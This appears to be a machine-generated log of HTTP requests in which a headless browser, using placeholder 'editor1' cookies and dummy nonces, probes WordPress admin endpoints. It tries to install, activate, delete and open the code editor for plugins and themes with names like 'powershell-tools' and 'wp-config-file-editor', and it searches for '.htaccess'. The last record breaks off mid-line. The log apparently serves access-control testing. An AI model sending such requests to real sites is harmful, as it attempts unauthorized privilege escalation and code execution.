{"method": "GET", "target": "/wp-admin/plugins.php?action=delete-selected&checked%5B%5D=docker-helper%2Fdocker-helper.php&plugin_status=all&paged=1&s&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?action=delete-selected&checked%5B%5D=powershell-tools%2Fpowershell-tools.php&plugin_status=all&paged=1&s&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=plugin-information&plugin=wp-config-file-editor&TB_iframe=true&width=772&height=550", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?action=deactivate&plugin=wp-config-file-editor%2Fwp-config-file-editor.php&plugin_status=all&paged=1&s&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=wp-config-file-editor%2Fwp-config-file-editor.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/update.php?action=install-plugin&plugin=wp-config-file-editor&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-editor.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/update.php?action=install-theme&theme=python3-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?action=activate&stylesheet=python3-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-editor.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/update.php?action=install-theme&theme=powershell-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?action=activate&stylesheet=powershell-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-editor.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/update.php?action=install-theme&theme=wp-config-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?action=activate&stylesheet=wp-config-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; 